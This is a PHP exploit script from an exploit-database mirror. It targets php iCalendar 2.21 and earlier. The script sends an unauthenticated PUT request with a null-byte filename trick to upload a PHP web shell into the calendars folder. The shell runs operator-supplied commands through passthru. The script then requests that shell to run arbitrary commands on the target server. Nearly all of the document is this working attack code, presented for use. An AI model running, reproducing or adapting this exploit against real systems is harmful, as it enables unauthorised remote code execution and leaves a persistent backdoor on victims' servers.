PageRenderTime 61ms CodeModel.GetById 34ms RepoModel.GetById 1ms app.codeStats 0ms

/platforms/php/webapps/1586.php

https://github.com/B-Rich/exploit-database
PHP | 147 lines | 123 code | 10 blank | 14 comment | 23 complexity | d8fb8a6da03c13fa49a772a7fce30491 MD5 | raw file
  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
  4. echo "by rgod rgod<AT>autistici<DOT>org\r\n";
  5. echo "site: http://retrogod.altervista.org\r\n";
  6. echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
  7. # short explaination: phpICal lets users upload/delete files in WebDAV style
  8. # through PUT / DELETE method; calendars/ folder by default is not protected
  9. # by any authentication measure. Uploaded files have .ics extension but with
  10. # a trick you can break filename through a null char to have a php file
  11. # (this works always beacuse magic_quotes_gpc does not work with
  12. # HTTP_RAW_POST data)
  13. if ($argc<3) {
  14. echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
  15. echo "host: target server (ip/hostname)\r\n";
  16. echo "path: path to phpICal\r\n";
  17. echo "\r\n";
  18. echo "cmd: a shell command\r\n";
  19. echo "Options:\r\n";
  20. echo " -p[port]: specify a port other than 80\r\n";
  21. echo " -P[ip:port]: specify a proxy\r\n";
  22. echo "Examples:\r\n";
  23. echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
  24. die;
  25. }
  26. error_reporting(0);
  27. ini_set("max_execution_time",0);
  28. ini_set("default_socket_timeout",5);
  29. function quick_dump($string)
  30. {
  31. $result='';$exa='';$cont=0;
  32. for ($i=0; $i<=strlen($string)-1; $i++)
  33. {
  34. if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  35. {$result.=" .";}
  36. else
  37. {$result.=" ".$string[$i];}
  38. if (strlen(dechex(ord($string[$i])))==2)
  39. {$exa.=" ".dechex(ord($string[$i]));}
  40. else
  41. {$exa.=" 0".dechex(ord($string[$i]));}
  42. $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  43. }
  44. return $exa."\r\n".$result;
  45. }
  46. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  47. function sendpacketii($packet)
  48. {
  49. global $proxy, $host, $port, $html, $proxy_regex;
  50. if ($proxy=='') {
  51. $ock=fsockopen(gethostbyname($host),$port);
  52. if (!$ock) {
  53. echo 'No response from '.$host.':'.$port; die;
  54. }
  55. }
  56. else {
  57. $c = preg_match($proxy_regex,$proxy);
  58. if (!$c) {
  59. echo 'Not a valid proxy...';die;
  60. }
  61. $parts=explode(':',$proxy);
  62. echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  63. $ock=fsockopen($parts[0],$parts[1]);
  64. if (!$ock) {
  65. echo 'No response from proxy...';die;
  66. }
  67. }
  68. fputs($ock,$packet);
  69. if ($proxy=='') {
  70. $html='';
  71. while (!feof($ock)) {
  72. $html.=fgets($ock);
  73. }
  74. }
  75. else {
  76. $html='';
  77. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  78. $html.=fread($ock,1);
  79. }
  80. }
  81. fclose($ock);
  82. #debug
  83. #echo "\r\n".$html;
  84. }
  85. $host=$argv[1];
  86. $path=$argv[2];
  87. $cmd="";$port=80;$proxy="";
  88. for ($i=3; $i<=$argc-1; $i++){
  89. $temp=$argv[$i][0].$argv[$i][1];
  90. if (($temp<>"-p") and ($temp<>"-P"))
  91. {$cmd.=" ".$argv[$i];}
  92. if ($temp=="-p")
  93. {
  94. $port=str_replace("-p","",$argv[$i]);
  95. }
  96. if ($temp=="-P")
  97. {
  98. $proxy=str_replace("-P","",$argv[$i]);
  99. }
  100. }
  101. $cmd=urlencode($cmd);
  102. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  103. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  104. $data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
  105. $data.='
  106. <?php
  107. if (get_magic_quotes_gpc())
  108. {$_GET[cmd]=stripslashes($_GET[cmd]);}
  109. ini_set("max_execution_time",0);
  110. echo "Hi Master!";
  111. echo 666;
  112. passthru($_GET[cmd]);
  113. echo 666;
  114. ?>
  115. ';
  116. $packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
  117. $packet.="Host: ".$host."\r\n";
  118. $packet.="Content-Length: ".strlen($data)."\r\n";
  119. $packet.="Connection: Close\r\n\r\n";
  120. $packet.=$data;
  121. #debug, shows packets in a nice format
  122. #echo quick_dump($packet);
  123. sendpacketii($packet);
  124. sleep(1);
  125. $packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
  126. $packet.="Host: ".$host."\r\n";
  127. $packet.="Connection: Close\r\n\r\n";
  128. #debug
  129. #echo quick_dump($packet);
  130. sendpacketii($packet);
  131. if (strstr($html,"666")) {
  132. echo "Exploit succeeded...\r\n";
  133. $temp=explode("666",$html);
  134. echo $temp[1];}
  135. else {echo "Exploit failed...";}
  136. ?>
  137. # milw0rm.com [2006-03-15]